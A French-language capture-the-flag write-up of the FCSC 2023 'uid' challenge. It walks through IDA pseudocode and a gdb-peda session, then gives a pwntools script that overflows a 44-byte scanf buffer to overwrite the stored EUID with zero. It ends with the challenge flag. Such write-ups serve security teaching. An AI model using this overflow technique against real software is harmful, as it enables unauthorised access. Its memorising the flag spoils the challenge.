FCSC 2023 - UID
Dans cet article, nous allons explorer le déroulement pas à pas (walkthrough) du challenge ‘uid’ proposé lors du FCSC 2023.
A notre disposition nous avons le fichier binaire suivant: ici
Nous allons ouvrir IDA pour voir ce que nous devons faire pour exploiter le binaire et ce qu’il fait.
En générant le pseudocode de la fonction main()
de IDA, nous avons ce résultat:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[44]; // [rsp+0h] [rbp-30h] BYREF
__uid_t v5; // [rsp+2Ch] [rbp-4h]
v5 = geteuid();
printf("username: ");
fflush(_bss_start);
__isoc99_scanf("%s", v4);
if ( v5 )
system("cat flop.txt");
else
system("cat flag.txt");
return 0;
}
-
Déclaration de variables:
v4
est un tableau de caractères de 44 octets, qui sera utilisé pour stocker le nom d’utilisateur entré par l’utilisateur.v5
est un entier de type__uid_t
, qui sera utilisé pour stocker l’identifiant d’utilisateur effective (EUID).
-
Appel de la fonction
geteuid()
pour récupérer l’EUID et le stocker dansv5
. -
Affichage du message
"username: "
à l’aide de la fonctionprintf()
. -
La fonction
fflush(_bss_start)
est appelée pour vider le tampon de sortie standard. -
La fonction
__isoc99_scanf()
est appelée pour lire le nom d’utilisateur entré par l’utilisateur et le stocker dans le tableauv4
.- Si
v5
est différent de zéro, la fonctionsystem("cat flop.txt")
est appelée pour afficher le contenu du fichier"flop.txt"
. - Si
v5
est égal à zéro, la fonctionsystem("cat flag.txt")
est appelée pour afficher le contenu du fichier"flag.txt"
.
- Si
Enfin, la fonction retourne 0 pour indiquer que le programme s’est terminé avec succès.
Stratégie
Comme la fonction scanf()
est utilisée, nous pouvons essayer d’utiliser une vulnérabilité de type buffer overflow pour réécrire la valeur de v5
à 0 pour qu’on puisse afficher le flag.
Comment on procède ?
Je décide de voir en détail avec gdb PEDA comment ça se passe au niveau de la mémoire.
Voici le code assembleur de la fonction main:
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000001175 <+0>: push rbp
0x0000000000001176 <+1>: mov rbp,rsp
0x0000000000001179 <+4>: sub rsp,0x30
0x000000000000117d <+8>: call 0x1050 <geteuid@plt>
0x0000000000001182 <+13>: mov DWORD PTR [rbp-0x4],eax
0x0000000000001185 <+16>: lea rdi,[rip+0xe78] # 0x2004
0x000000000000118c <+23>: mov eax,0x0
0x0000000000001191 <+28>: call 0x1040 <printf@plt>
0x0000000000001196 <+33>: mov rax,QWORD PTR [rip+0x2eb3] # 0x4050 <stdout@GLIBC_2.2.5>
0x000000000000119d <+40>: mov rdi,rax
0x00000000000011a0 <+43>: call 0x1060 <fflush@plt>
0x00000000000011a5 <+48>: lea rax,[rbp-0x30]
0x00000000000011a9 <+52>: mov rsi,rax
0x00000000000011ac <+55>: lea rdi,[rip+0xe5c] # 0x200f
0x00000000000011b3 <+62>: mov eax,0x0
0x00000000000011b8 <+67>: call 0x1070 <__isoc99_scanf@plt>
0x00000000000011bd <+72>: cmp DWORD PTR [rbp-0x4],0x0
0x00000000000011c1 <+76>: jne 0x11d1 <main+92>
0x00000000000011c3 <+78>: lea rdi,[rip+0xe48] # 0x2012
0x00000000000011ca <+85>: call 0x1030 <system@plt>
0x00000000000011cf <+90>: jmp 0x11dd <main+104>
0x00000000000011d1 <+92>: lea rdi,[rip+0xe47] # 0x201f
0x00000000000011d8 <+99>: call 0x1030 <system@plt>
0x00000000000011dd <+104>: mov eax,0x0
0x00000000000011e2 <+109>: leave
0x00000000000011e3 <+110>: ret
End of assembler dump.
gdb-peda$ b* main+72
Breakpoint 1 at 0x11bd
Nous allons placer un point d’arrêt à 0x00000000000011bd <+72>: cmp DWORD PTR [rbp-0x4],0x0
donc à main+72
pour voir l’état de rbp-0x4
au moment d’y insérer notre pattern.
Pour la longueur du pattern je commence avec 80 puisque ça devrai suffir.
gdb-peda$ pattern create 80
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'
gdb-peda$ r
Starting program: /home/balgogan/Téléchargements/uid
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
username: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
RAX: 0x1
RBX: 0x7fffffffe388 --> 0x7fffffffe6dc ("/home/balgogan/Téléchargements/uid")
RCX: 0x0
RDX: 0x0
RSI: 0xa ('\n')
RDI: 0x7fffffffdd00 --> 0x0
RBP: 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RSP: 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
RIP: 0x5555555551bd (<main+72>: cmp DWORD PTR [rbp-0x4],0x0)
R8 : 0x555555556010 --> 0x6c66207461630073 ('s')
R9 : 0x7ffff7f8ba80 --> 0xfbad2288
R10: 0xffffffffffffffff
R11: 0x7ffff7f8c560 --> 0x7ffff7f88800 --> 0x7ffff7f5047c --> 0x5a5400544d470043 ('C')
R12: 0x0
R13: 0x7fffffffe398 --> 0x7fffffffe701 ("SHELL=/bin/bash")
R14: 0x0
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x5555555551ac <main+55>: lea rdi,[rip+0xe5c] # 0x55555555600f
0x5555555551b3 <main+62>: mov eax,0x0
0x5555555551b8 <main+67>: call 0x555555555070 <__isoc99_scanf@plt>
=> 0x5555555551bd <main+72>: cmp DWORD PTR [rbp-0x4],0x0
0x5555555551c1 <main+76>: jne 0x5555555551d1 <main+92>
0x5555555551c3 <main+78>: lea rdi,[rip+0xe48] # 0x555555556012
0x5555555551ca <main+85>: call 0x555555555030 <system@plt>
0x5555555551cf <main+90>: jmp 0x5555555551dd <main+104>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe240 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0008| 0x7fffffffe248 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0016| 0x7fffffffe250 ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0024| 0x7fffffffe258 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0032| 0x7fffffffe260 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0040| 0x7fffffffe268 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0048| 0x7fffffffe270 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A")
0056| 0x7fffffffe278 ("AcAA2AAHAAdAA3AAIAAeAA4A")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x00005555555551bd in main ()
gdb-peda$ x/8x $rbp-0x4
0x7fffffffe26c: 0x41 0x46 0x41 0x41 0x62 0x41 0x41 0x31
gdb-peda$
En regardant le contenu de $rbp-0x4
nous avons comme valeur hexadécimales "0x41 0x46 0x41 0x41 0x62 0x41 0x41 0x31"
.
Ce qui correspond en ASCII à AFAAbAA1
$ unhex 4146414162414131
AFAAbAA1
Cette chaine de caractère fait partie de notre pattern et le but est de trouver où se situe cette chaine dans notre pattern pour pouvoir construire notre payload final:
gdb-peda$ pattern offset AFAAbAA1
AFAAbAA1 found at offset: 44
Comme vu dans le pseudocode de IDA, on retrouve un buffer de 44 octets, ce qui signifie que nous devons écrire notre "0"
après 44 octets.
D’après toutes ces informations nous pouvons construire le payload final suivant:
from pwn import *
buffer = 44
#p = process('./uid')
p = remote("challenges.france-cybersecurity-challenge.fr",2100)
payload = ("A" * buffer).encode() + p32(0) + b"\n"
p.sendafter(b"username: ", payload)
print(p.recvall().decode('latin-1'))
En exécutant le code nous avons le flag:
$ python3.8 exp.py
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2100: Done
[+] Receiving all data: Done (71B)
[*] Closed connection to challenges.france-cybersecurity-challenge.fr port 2100
FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}
Le flag est : FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}